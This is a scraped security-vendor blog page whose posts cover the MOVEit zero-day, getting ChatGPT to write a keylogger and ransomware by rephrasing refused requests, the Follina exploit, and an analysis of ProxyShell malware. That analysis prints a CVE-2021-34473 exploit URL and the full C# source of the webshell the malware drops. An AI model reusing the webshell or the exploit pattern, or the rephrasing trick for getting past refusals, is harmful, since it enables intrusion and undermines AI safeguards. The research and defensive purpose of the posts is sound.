di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Explore Deep Instinct DSX

Prevent Zero-Day Attacks

Real-Time Malicious Verdicts

Real-Time Explainability

Lower TCO

Ensure Privacy & Compliance

Deep Instinct DSX

Cloud

Applications

Endpoints

Use Cases

Asset Library

Blog

Videos

Events & Webinars

Resources

About Deep Instinct

Our Customers

Newsroom

Careers

Contact Us

Company

Request Demo

Customer Portal

Integrations and Compliance

Training

Quick Links

Discover how our revolutionary deep learning-powered solution prevents and explains unknown, never-before-seen threats.

explore deep instinct dsx

why dsx

Prevent zero-day attacks

Detect and prevent threats in <20ms, faster than the blink of an eye.

real-time malicious verdicts

Gain actionable, AI-driven intelligence on zero-day threats in seconds.

Real-Time Insights & Explainability

Reduce cybersecurity costs with efficient, high-performance threat prevention.

Enhance data protection while meeting stringent privacy and regulatory requirements.

DEPLOYMENT

Secure your multi-cloud or hybrid infrastructure against zero-day threats.

CLOUD

Safeguard critical data on Network-Attached Storage systems from advanced cyber threats.

Defend SaaS and custom applications from zero-day vulnerabilities and threats.

APPLICATIONS

Protect devices and endpoints with AI-driven threat prevention.

ENDPOINTS

EXPLORE 

Threat Research

Voice Of SecOps

COMPARE

Deep Instinct complements Microsoft Defender with advanced threat prevention to stop threats before they enter your environment.

+ Microsoft Defender

Deep Instinct and Tanium deliver prevention-first endpoint security to reduce risk and boost productivity.

+ Tanium

EDR is not enough — enhance existing cybersecurity tools with advanced, real-time threat prevention using deep learning to produce defense in depth.

EXTEND/ENHANCE LEGACY AV

Replace outdated, legacy AV solutions with prevention-first, deep-learning-based protection purpose-built for cybersecurity.

REPLACE LEGACY AV

Faster and more accurate – Deep Instinct safeguards your data and protects your NAS storage better than Trellix.

REPLACE TRELLIX

Leadership Team

Board of Directors

Partners

Login

content_block

Perspective & Findings

<h4>Don’t Let Application File Uploads Become Malware Downloads</h4>

file-upload-security-blog.jpg

Recent Blog Posts

Listing preview

Perspective & Findings

image_media_card

Recent Blog Posts

listing_preview

BPFDoor Malware Evolves – Stealthy Sniffing Backdoor Ups Its Game

Who is the only NEW vendor in the 2022 Gartner® Magic Quadrant™ for Endpoint Protection Platforms?

ChatGPT and Malware: Making Your Malicious Wishes Come True

Top-3 Drawbacks of Content Disarm + Reconstruction (CDR) for Malware Prevention

LSASS Memory Dumps are Stealthier than Ever Before

LSASS memory dumps

Trending at Deep Instinct

carousel_cards

blog-image-moveit-file-transfer.jpg

MOVEit encrypts data at rest and in motion and provides IT security controls for sensitive business data. It is used by both the public and private sector, as well as individuals for personal use.A zero-day vulnerability, dubbed CVE-2023-34362, has been discovered in the file transfer tool. The severity of this threat is still under investigation. As such, it does not have an assigned CVSS score as of this writing.When it was first discovered the zero day had already been exploited by a threat actor known to be operating the <a href="https://attack.mitre.org/software/S0611/" target="_blank">Clop ransomware</a> extortion site. In this article, we cover what is currently known.<h5>The What</h5><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34362" target="_blank">CVE-2023-34362</a> is a SQL injection vulnerability in MOVEit Transfer’s web application that allows malicious individuals to gain access to MOVEit Transfer’s database without the need for authentication.MOVEit is often used to transfer sensitive data, such as employee PII. By exploiting this vulnerability, attackers can use this private information for a multitude of purposes, including selling it on the dark web or using the data to extort breached organizations.<h5>The Who</h5>The threat actors behind this attack are believed to be members of the notorious threat group FIN11, also known as Lace Tempest. This threat group is not new to this type of attack. Just last month FIN11 stole millions of patient records using a vulnerability in the GoAnyware file transfer software. In July 2021, they exploited a vulnerability in the file transfer software formerly known as Accellion.<a href="https://attack.mitre.org/groups/G0046/" target="_blank">FIN11</a> is believed to have strong ties to the (presumably) Russian ransomware group Clop. FIN11 has published stolen data on Clop’s leak website in the past and is likely to do it again if they find the recently stolen data worthy of extortion.<h5>The Victims</h5>The breach is believed to have affected numerous organizations. Only a few have come forward to date. Among the proclaimed victims is Zellis, a UK-based payroll and HR solutions provider with multiple clients of its own, a fact that only enlarges the pool of potential victims. Among Zellis’ clients are the BBC and British Airways, both of whom have also come forward as victims of the breach. The British airline giant also confirmed that some of its employees’ data had been stolen during the attack but did not disclose how many of its’ 35,000 employees were affected.As the breach is very recent, and the wounds are relevantly fresh, it is likely that more victims will come forward soon, willingly or otherwise.<h5>What’s next?</h5>There are currently more than 3K exposed servers. We recommend that organizations scan their environment for the <a href="https://github.com/deepinstinct/MOVEit_CVE-2023-34362_IOCs" target="_blank">IOCs</a> and patch the vulnerable versions immediately:2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1).Deep Instinct is following these events closely and will update this post as new details become available.See the CISA Advisory issued on June 7, 2023 <a href="https://www.cisa.gov/news-events/alerts/2023/06/07/cisa-and-fbi-release-stopransomware-cl0p-ransomware-gang-exploits-moveit-vulnerability" target="_blank">here</a>.

The Zero-Day Attack on the MOVEit File Transfer Software

chatgpt-malicious-wishes-blog.png

Since its release in November 2022, ChatGPT has been gaining popularity, being asked everything from how to explain quantum computing to writing a birthday poem. The big question on everyone’s mind in the cybersecurity industry: Will ChatGPT become a tool for attackers to create and accelerate more sophisticated attacks? Our research below demonstrates how dangerous ChatGPT can be in the wrong hands. There is also the potential for researchers to use this tool to thwart attacks and for software developers to improve their code. However, we did find the AI is better at creating malware than providing ways to detect it. As with most technological advances, malware authors have found ways to abuse ChatGPT to spread malware. Examples of malicious content created by the AI tool, such as phishing messages, information stealers, and encryption software, have all been shared online. OpenAI has taken several measures to prevent misuse of their new tool and implemented mechanisms that can help their software recognize when a user asks it to create malicious content/code. For example, if a person asked ChatGPT to write ransomware, the software checks for flagged words such as ‘steal’ and ‘ransom,’ and refuses to comply. However, as we demonstrate below, there is a way to get past these controls. It comes down to how you ask the question. <h3>It's All About Phrasing </h3>ChatGPT attempts to avoid providing malicious code. In the below image, you can see the reply I got when I asked the software to provide a Go keylogger: <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf04bbd046f350972" alt="Figure 1: ChatGPT’s refusal to provide a keylogger" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf04bbd046f350972/63c8427ae6cd4a7779d9f929/fig01-chatgpt-refused-to-provide-keylogger.png" height="auto" /><figcaption style = "text-align: center;" >Figure 1: ChatGPT’s refusal to provide a keylogger</figcaption></figure> However, when I rephrased my request and described what the program should do, without using the word ‘keylogger,’ my request was fulfilled. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt198cc2bb388f3945" alt=" Figure 2: Successfully getting a Go keylogger" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt198cc2bb388f3945/63c8427a1864e26d0032af7d/fig02-chatgpt-successfully-creating-go-keylogger.png" height="auto" /><figcaption style = "text-align: center;" > Figure 2: Successfully getting a Go keylogger</figcaption></figure><h3>Go Eddie the AV Evader </h3>To see what other tricks this new puppy could do, and how well the anti-malware solution dealt with them, I decided to ask the AI for a more destructive malware — ransomware. For obvious reasons, I couldn’t just ask for ransomware outright and instead needed to beat around the bush a little in my request, as can be seen below. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltd641b177c5591cf9" alt="Figure 3: Successfully getting a Go ransomware" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd641b177c5591cf9/63c8427a3431f93ff7f79ecc/fig03-chatgpt-successfully-creating-go-ransomware.png" height="auto" /><figcaption style = "text-align: center;" >Figure 3: Successfully getting a Go ransomware</figcaption></figure> The above reply was accompanied by a Go script which did everything that had been requested. All I needed to do was add two missing imports, change the default AES key, as well as the default string ChatGPT used as the dropped text files’ content, and I got a working piece of ransomware. I also removed the bot’s comments to make the program more difficult to detect. Then I compiled the scripts into PE32 and PE64 files, made sure they ran without any issues, and uploaded them to VirusTotal to check how well the anti-malware solutions dealt with them. The results were alarming. Only 4 out of 69 engines detected the PE32, and only 2 out of 71 caught the PE64 version. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt41a233c745211f9b" alt="Figure 4: The PE32 variant’s detection rate on VirusTotal" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt41a233c745211f9b/63c8427a83026010f1038cae/fig04-pe32-variant-detection-rate-on-virustotal.png" height="auto" /><figcaption style = "text-align: center;" >Figure 4: The PE32 variant’s detection rate on VirusTotal</figcaption></figure> <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1230d55deef0ef1d" alt="Figure 5: The PE64 variant’s detection rate on VirusTotal" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1230d55deef0ef1d/63c8427a08b84c3d9e4c9a63/fig05-pe64-variant-detection-rate-virustotal.png" height="auto" /><figcaption style = "text-align: center;" >Figure 5: The PE64 variant’s detection rate on VirusTotal</figcaption></figure> The files may have been missed because the script that was compiled to create them was written in Go — an uncommon language that was chosen for this research precisely for this reason. Another possibility is that the simplicity of the ransomware, which uses a symmetric encryption algorithm (AES), doesn’t upload any files to a remote IP, like most modern ransomware does, and doesn’t avoid encrypting specific filetypes. In any case, this is still ransomware, and the inability of most anti-malware solutions to detect it, at least statically, demonstrates clearly how dangerous ChatGPT can be when in the wrong hands. <h3>Bug by Design </h3>As previously stated, I had to add imports to the Go ransomware to make it work. A similar thing happened when I asked ChatGPT to create the keylogger — it left the implementation of one of the functions to me, as can be seen in the image below. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt747488b5780f7d87" alt="Figure 6: Omitted file transfer implementation" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt747488b5780f7d87/63c8427ae97936109ef2be6d/fig06-omitted-file-transfer-implementation.png" height="auto" /><figcaption style = "text-align: center;" >Figure 6: Omitted file transfer implementation</figcaption></figure> I had suspected that this might not be a bug, but a way for the AI solution to avoid delivering functioning malware. The message below, which I received from the bot, just made me more confident in my assumption. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1ac3ef584c795933" alt="Figure 7: Information about message content" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1ac3ef584c795933/63c8427ab2a32b3f99e44c16/fig07-information-about-message-content.png" height="auto" /><figcaption style = "text-align: center;" >Figure 7: Information about message content</figcaption></figure> As you can see, ChatGPT was aware that the provided ransomware code could not be executed, and even knew which libraries were needed to make it run. This, combined with the answer I received after asking the AI why it hadn’t imported these libraries itself, strengthened my belief that the bot provided inexecutable code by design. <h3>Jekyll vs Hyde </h3>Even though ChatGPT can be used to create malware, it can also be used to help security researchers defend against malware. For example, by writing YARA rules to detect different attack techniques. In the below image, you can see an example of a YARA rule which was created to detect MITRE ATT&CK sub-technique T1055.002 (process injection). <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt9aff6f0361088df1" alt="Figure 8: YARA rule to detect process injection, prone to false positives" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9aff6f0361088df1/63c8427a1327af10d8774158/fig08-yara-rule-to-detect-process-injection-prone-to-false-positives.png" height="auto" /><figcaption style = "text-align: center;" >Figure 8: YARA rule to detect process injection, prone to false positives</figcaption></figure> This rule was too general and would likely generate a lot of false positives, so I asked the AI for a more specific rule and got the below reply. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte277265c707d0169" alt="Figure 9: YARA rule to detect process injection, prone to false negatives" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte277265c707d0169/63c8427a7dbd6a1641ea2d84/fig09-make-above-yara-rule-less-prone-to-false-positives.png" height="auto" /><figcaption style = "text-align: center;" >Figure 9: YARA rule to detect process injection, prone to false negatives</figcaption></figure> This may generate less false positives, but it will also have more false negatives, meaning it will miss more malware that performs process injection. In any case, I wanted to check if the bot would write code that bypassed its own rule, and as can be seen below, even though it had some reservations, it did. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt96a5835ed986ed03" alt=" Figure 10: ChatGPT’s agreement to write malware that bypasses its own YARA rule" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt96a5835ed986ed03/63c8427aca4ee4418bab9b69/fig10-chatgpt-agreement-to-write-malware-that-bypasses-its-own-yara-rule.png" height="auto" /><figcaption style = "text-align: center;" > Figure 10: ChatGPT’s agreement to write malware that bypasses its own YARA rule</figcaption></figure>Apparently, ChatGPT did such a good job at writing the malware that it failed to write a YARA rule that could detect its own work and provided a rule that was prone to false positives instead. All in all, it seems that the AI solution is better at creating malware than providing ways to detect it. <figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7f1475512190800e" alt="Figure 11: ChatGPT’s inability to write a YARA rule to detect its own work" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7f1475512190800e/63c842845156964aea434e3c/fig11-chatgpts-inability-to-write-yara-rule-to-detect-its-own-work.png" height="auto" /><figcaption style = "text-align: center;" >Figure 11: ChatGPT’s inability to write a YARA rule to detect its own work</figcaption></figure><h3>ChatGPT as a Research and Analysis Tool </h3>Like many modern tools, ChatGPT has an API that allows third-party applications to query the AI and receive replies using a script instead of the online user interface. Some individuals have already used this API to create impressive open-source analysis tools that can make cybersecurity researcher's jobs a lot easier. Notable examples of such tools are <a href="https://github.com/JusticeRage/Gepetto" target="_blank">Gepetto</a> and <a href="https://github.com/moyix/gpt-wpre" target="_blank">GPT-WPRE</a>, which add meaningful comments to code decompiled using IDA and Ghidra, respectively. Another helpful tool is <a href="https://github.com/fr0gger/IATelligence" target="_blank">IATelligence</a>, a script that extracts the content of the Import Address Table (IAT) from PE files and adds information about MITRE ATT&CK techniques that can be implemented using the imported libraries. These are mere examples of the potential ChatGPT has as an analysis tool, and with some thought and effort this AI might even be able to integrate into SIEM systems and do much of the work currently done by tier-1 analysts. <h3>A Tangled Future </h3>While ChatGPT will not build malicious code for the everyday person who has no knowledge of how to execute malware, it does have the potential to accelerate attacks for those who do. I believe ChatGPT will continue to develop measures to prevent this, but as shown, there will be ways to ask the questions to get the results you are looking for. With the advances in AI-based solutions in general, and the capabilities ChatGPT has demonstrated, it seems that the future of malware creation and detection will be tangled with the advances in the AI field, and their availability to the public. Our opinion is that threat actors will continue to find ways to utilize these tools to their own advantage, and cybersecurity professionals, who from our research benefit less from these tools (at least as for now), will have to find new ways to defend against malware created with them. <h3>Hashes of Generated Ransomware </h3>894853e4422fcc697ec25dc4a6132cda800f66cd77994c0d4918bb7dec33bad3 eddie4-32.exe bedcf4cf0e16da111220f5239b55960847d3893f13a6db6aa7f97ca01150fc77 eddie4-54.exe

zero-day-Unfolding-Follina-blog.png

Zero-day vulnerabilities are among the most difficult threats to guard against because they are – by their very nature – unknown and unseen by threat researchers and most security tools. When these vulnerabilities are exploited, it is a race against the clock to identify them and plug the holes through which threat actors can launch attacks.<h2>What is the Follina vulnerability?</h2>On May 27, 2022, the cybersecurity community became aware of a new zero-day vulnerability in Microsoft Support Diagnostic Tool (MSDT) dubbed “Follina,” which was later given the CVE identifier “CVE-2022-30190.” Follina stems from a bug in MSDT that allows code execution. Under specific circumstances, an attacker can run PowerShell commands on a victim’s machine using a crafty Microsoft Office document or Rich Text Format (RTF) file.In this post, we will go into a detailed explanation of the exploit, discuss the consequences of an attack, and provide counsel on how your organization can decrease the likelihood of falling victim to a Follina attack.<h2>Follina and the Microsoft Diagnostic Tool</h2>To understand this exploit, we must first understand the issue in MSDT. Normally, when MSDT is called, it asks for a passkey provided by a support professional to continue to the troubleshooting stage.<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blte55e44b00d8ee87a" alt=" Example of a passkey request" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte55e44b00d8ee87a/62a221a4a9454a5197097b01/msdt_passkey_demand.png" /><figcaption >Example of a passkey request</figcaption></figure>This should provide some level of security and limit access to the troubleshooting utility’s functionality. However, under certain conditions and using a specific syntax, it is possible to execute PowerShell commands via MSDT without providing a passkey.<h2>The Follina exploit</h2>To leverage this bug, an attacker can create an HTML file that calls the troubleshooting wizard using “ms-msdt” and forces it to execute PowerShell code by adding specific parameters to its command, like in the following example:<img asset_uid="bltcbc57b67c1ab4913" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcbc57b67c1ab4913/63345d79961acb239b3df33f/script-code-snippet-1.png" height="auto"/>This method can also be used to execute a binary:<img asset_uid="bltda4bd4c0bbd0fe71" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltda4bd4c0bbd0fe71/63345d79a2ca982a1c795093/script-code-snippet-2.png" height="auto"/>This method allows an attacker to do anything from execute ransomware to open a reverse shell, from which they can run unlimited commands on a victim’s machine. The possibilities available in this scenario are virtually limitless.However, this will only work if the HTML file’s size is at least 4096 bytes, something that can be easily achieved by adding hefty comments to the file.<h2>How do attackers use Microsoft to deliver Follina?</h2>Attackers do not simply cross their fingers and idly hope someone will land on the address in which their malicious HTML file is hosted. They lure victims into their trap – and this is where Microsoft Office documents and RTF files come into play.As explained in this blog, by modifying the relationship file (RELS) of a <a href="/blog/how-your-regular-microsoft-office-file-is-open-to-manipulation" target="_self">Microsoft Office Open XML (OOXML) file</a>, a threat actor can cause the Microsoft Office document to open an HTML file hosted on the internet and execute a script if it contains one, without it being visible to the user. With a document like this in hand, the attacker can simply send the file to unsuspected users – for example as an email attachment – and persuade them to click it. Once this action is performed, MSDT will be called, and the malicious actor’s command will be executed.Moreover, if the attacker chooses an RTF file instead of a Microsoft Office document as their initial point of access, things can get even scarier. In this scenario, the infection can occur even if a user just hovers over the file – they do not need to even open the file in order for the wheels to start rolling.<h2>How is Follina executed?</h2>Even though the code that runs via MSDT will probably not be visible to the users, attackers cannot hide the execution of the troubleshooter itself.When “ms-msdt” is called, a troubleshooting wizard window will appear, informing users that it is working on detecting issues. Of course, this does NOT alert users that the real issue they should be concerned about is the malware that is currently running on their computer.To those unfamiliar with Follina, this can be seen as relatively harmless, especially if they have encountered similar troubleshooters in the past. However, to someone who has heard of Follina, this should raise an immediate red flag.<img asset_uid="blt746c96d092ceb1f7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt746c96d092ceb1f7/62a2501205f1d157f3a892e7/msdt_detecting_issues.png" height="auto"/><h2>Deep Instinct zero-day detection and prevention</h2>At the time of this writing, Microsoft has not issued a patch for “CVE-2022-30190” and only advised users to&nbsp;<a href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/" target="_self">disable the MSDT URL protocol</a>.Deep Instinct prevents Follina and other zero-day threats, pre-execution. Using deep learning models to prevent malicious files from being executed, Deep Instinct can predict and prevent known, unknown, and zero-day threats in &lt;20 milliseconds, 750X faster than the fastest ransomware can encrypt. Our deep learning, prevention-first approach allows us to detect and prevent even the most advanced threats with &gt;99% zero-day accuracy.If you’d like to learn more about our malware, ransomware, and <a href="/zero-day-attacks" target="_self">zero-day prevention capabilities</a> – including our industry-best $3M no-ransomware guarantee – we’d be delighted to <a href="/request-a-demo" target="_self">give you a demo</a>.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt1522c89054ccb4a5" alt="An RTF file that leverages Follina to execute malicious commands is prevented by the Deep Instinct agent before it gets a chance to run. " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1522c89054ccb4a5/62a221a44a98d755621a2783/static_prevention.png" /><figcaption >An RTF file that leverages Follina to execute malicious commands is prevented by the Deep Instinct agent before it gets a chance to run.</figcaption></figure><figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="bltd1d882404759bae7" alt="Malicious PowerShell code is prevented from being executed as an HTML file tries to leverage Follina to run it using MSDT" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd1d882404759bae7/62a221a41da2265851294c6b/dynamic_prevention.png" /><figcaption >Malicious PowerShell code is prevented from being executed as an HTML file tries to leverage Follina to run it using MSDT</figcaption></figure><h2>Further Reading</h2><ul><li><a href="/blog/how-your-regular-microsoft-office-file-is-open-to-manipulation" target="_self" isblock="true">https://www.deepinstinct.com/blog/how-your-regular-microsoft-office-file-is-open-to-manipulation</a></li><li><a href="/blog/zero-day-vulnerability-what-it-is-and-how-it-works" target="_self" isblock="true">https://www.deepinstinct.com/blog/zero-day-vulnerability-what-it-is-and-how-it-works</a></li><li><a href="/blog/hafnium-leveraging-multiple-zero-days-to-attack-microsoft-exchange" target="_self" isblock="true">https://www.deepinstinct.com/blog/hafnium-leveraging-multiple-zero-days-to-attack-microsoft-exchange</a></li></ul>

Unfolding the Follina Zero-Day Vulnerability

dropper-microsoft.png

Blame the Messenger: 4 Types of Dropper Malware in Microsoft Office & How to Detect Them

Analysis and Vulnerabilities of an Exchange ProxyShell Malware

ProxyShell-Malware.png

<h5>Our Analysis of an Exchange ProxyShell Malware</h5>Threat Researchers recently discovered several new Microsoft Exchange vulnerabilities in <a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705" target="_self">ProxyShell</a> that allow attackers to gain remote-code execution capabilities. While these vulnerabilities were disclosed to Microsoft and mostly patched prior to the technical details of the vulnerabilities becoming public, many Exchange servers were left unpatched and have since been compromised.&nbsp;Exploits of Microsoft Exchange are an ongoing concern, and many new threats are seen exploiting these vulnerabilities to gain persistence on Exchange servers. We recently found malware that had been designed to exploit Microsoft Exchange in a clients’ environment. As with other known and unknown malware, Deep Instinct prevented it before it could execute and cause issues.However, this malware was quite interesting – enough to warrant a deeper investigation. The following is our analysis.<h5>The ProxyShell Vulnerabilities</h5>Before we begin our examination, let’s first review ProxyShell.&nbsp;ProxyShell consists of three vulnerabilities that, when combined, allow an attacker to run arbitrary commands on a Microsoft Exchange server without the need for authentication. This is a particularly dangerous attack vehicle because it allows access without credential theft, making it that much easier for an attacker to gain access to a targeted environment.The first ProxyShell vulnerability, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473" target="_self">CVE-2021-34473</a>, resides in Microsoft’s Explicit Login mechanism and allows a threat actor to interface with arbitrary backend URLs as NT Authority/System simply by passing the string “Autodiscover/Autodiscover.json” in the Email field of a URL of this form:https://exchange/autodiscover/autodiscover.json?@mycorp.com/?Email=autodiscover/autodiscover.json%3f@mycorp.comHowever, this action is not enough to run any actual commands, since the system user does not have an email account. Email account access is required to use Exchange PowerShell Remoting, a built-in feature designed to help with mailbox-related administrative activities. To resolve this issue, the threat actor can leverage the PowerShell vulnerability <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523" target="_self">CVE-2021-34523 </a>to downgrade themselves to an admin.Next, the attacker can run a command on the server to gain persistent access, allowing them to deploy additional malware in the future. In order to do this, they need to write a backdoor to a file, an action that can be achieved by taking advantage of the <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207" target="_self">CVE-2021-31207</a> vulnerability.<h5>The Little .NET that Tried: Our Analysis of a ProxyShell Malware</h5>As mentioned at the outset of this blog, we recently detected and prevented an interesting piece of malware in a client’s environment that was designed to deploy an ASPX <a href="https://en.wikipedia.org/wiki/Web_shell" target="_self">webshell</a> into the clients’ Exchange server that would allow the deployment of additional malware in the future. The malware in question was a .NET sample, which made it easy to analyze using <a href="https://github.com/dnSpy/dnSpy" target="_self">DNSpy</a> or any other .NET disassembler.&nbsp;The malware’s goal is to drop an ASPX webshell on the Exchange server, create a <a href="https://docs.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/site/application/virtualdirectory" target="_self">virtual directory</a> so it could be accessed from the web, and make the shell accessible from all other Exchange servers in the domain. The executable uses two additional PEs that are stored in its code as base64 encoded strings and are invoked in a fileless manner by the main executable. These are then loaded into memory, making it more difficult for anti-malware products to detect the attack.&nbsp;Embedded PE #1 —“DropHell”The first encoded PE, saved in the variable “rawAssembly,” is responsible for dropping the shell as an ASPX file and creating the virtual directory. The main executable calls one of its methods,“DropHell,” using the following command:<figure style = "float: none;width: autopx;max-width:auto;"><img src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8883d11e76de3bc6/61684317e879fb0c3fd16ec3/figure1.png" alt="Figure 1: Calling the " /><figcaption >Figure 1: Calling the "DropHell" method</figcaption></figure>The variable “array” contains the C# webshell, encoded in base64, "shAGEu.aspx." This is the name of the ASPX file in which to store it and the names of folders that will be used in the physical and virtual paths.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt44d8c5d70b34e144" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt44d8c5d70b34e144/6168437f096401150993c501/figure2.png" alt="Figure 2: The variables ‘folderPath’ and ‘array’" /><figcaption >Figure 2: The variables ‘folderPath’ and ‘array’</figcaption></figure>The “DropHell” method decodes the base64 encoded webshell, writes it into C:\ProgramData\ZING\pdILh\shAGEu.aspx (the folders “ZING” and “pdILh” are created by the method) and creates the virtual directory “/auth/笔/pdILh” that points to “C:\ProgramData\ZING\pdILh.” The path “C:\ProgramData\ZING” was seen in other ProxyShell sample analysis, such as the one <a href="https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit" target="_self">Huntress</a> had performed.It is uncommon for an ASPX file to reside under the “ProgramData” directory, which is probably why the attacker chose to drop the shell outside the ASP directories, which are more frequently monitored for suspicious activity.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt1ee1e54170c1011f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1ee1e54170c1011f/6168437e9120740aae84c72b/figure3.png" alt="Figure 3: Creating the virtual directory" /><figcaption >Figure 3: Creating the virtual directory</figcaption></figure>After the backdoor is created, the script moves to protect it by making ZING and its content read-only hidden system artifacts and adding access rules that prevent users from doing nearly anything to the files besides reading and executing the webshell.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt1db6b2cfdc75bf89" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1db6b2cfdc75bf89/6168437fb038a00ab2a4cd5c/figure4.png" alt="Figure 4: Adding security rules to protect the created files" /><figcaption >Figure 4: Adding security rules to protect the created files</figcaption></figure>If that wasn’t enough, the malware uses Microsoft’s “icacls” "NT Service\TrustedInstaller" as the owner of “C:\ProgramData\ZING\pdILh” and anything in it, and grants full SYSTEM access to its content.&nbsp;Once this has been done, the control goes back to the main executable, which checks the returned value to see if everything went as planned. It then calls the “Run” command of the second base64 encoded PE that is stored in a variable called “rawAssembly2.”&nbsp;<figure style = "float: none;width: 705px;max-width:auto;"><img asset_uid="blt85a909f9849dd1d1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt85a909f9849dd1d1/6168437f14fe0719579ce3c0/figure5.png" alt="Figure 5: Calling the " /><figcaption >Figure 5: Calling the "Run" method</figcaption></figure>Embedded PE #2 — Spreading the Shell&nbsp;This PE’s goal is to spread the backdoor to as many Exchange servers as it can find in the domain.&nbsp;First, it uses LDAP to find additional Exchange servers by looking for the “Exchange servers” group.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt44c922e2eff24c1d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt44c922e2eff24c1d/6168437f82cf4e1aa06850f9/figure6.png" alt="Figure 6: Looking for Exchange servers" /><figcaption >Figure 6: Looking for Exchange servers</figcaption></figure>If it comes back empty handed from that attempt, it will attempt to find “sAMAccountName” values of Exchange-related services.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt828c980d8205daba" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt828c980d8205daba/6168437ff4ff8d13709afde9/figure7.png" alt="Figure 7: Exchange-related service principal names search" /><figcaption >Figure 7: Exchange-related service principal names search</figcaption></figure>Then, it creates a virtual directory on each of the found servers that point to the previously created “C:\ProgramData\ZING\pdILh” directory (all servers point to the exact same directory on the first infected machine).<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt827d61ebf35a9b50" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt827d61ebf35a9b50/6168437f738f710c37068093/figure8.png" alt="Figure 8: Creating virtual paths to the backdoor on additional Exchange servers" /><figcaption >Figure 8: Creating virtual paths to the backdoor on additional Exchange servers</figcaption></figure>And with that, the attack ends.&nbsp;The BackdoorThe dropped ASPX file contains the following C# code, which simply creates an XSL transform webshell:&lt;%@ Page Language="C#" %&gt;&lt;% var GkggV=new System.Xml.XmlDocument(); GkggV.LoadXml(@"&lt;root&gt;1&lt;/root&gt;"); var Nlcch=new System.Xml.XmlDocument(); Nlcch.LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request["Redacted"])));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var DzYqa=new System.Xml.Xsl.XslCompiledTransform(); DzYqa.Load(Nlcch,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver()); DzYqa.Transform(GkggV,null,new System.IO.MemoryStream());<h5>Conclusion</h5>Having a webshell on your Exchange server is extremely dangerous, especially in the hands of a savvy attacker. ProxyShell vulnerabilities have been used to install numerous backdoors over the past few months, and though none of the guests that came through these doors were welcome, some made a worse impression on their hosts than others, <a href="/blog/lockbit-2-0-ransomware-becomes-lockfile-ransomware-with-a-never-before-seen-encryption-method" target="_self">LockFile ransomware</a> we detailed being a prime example.Fortunately, Deep 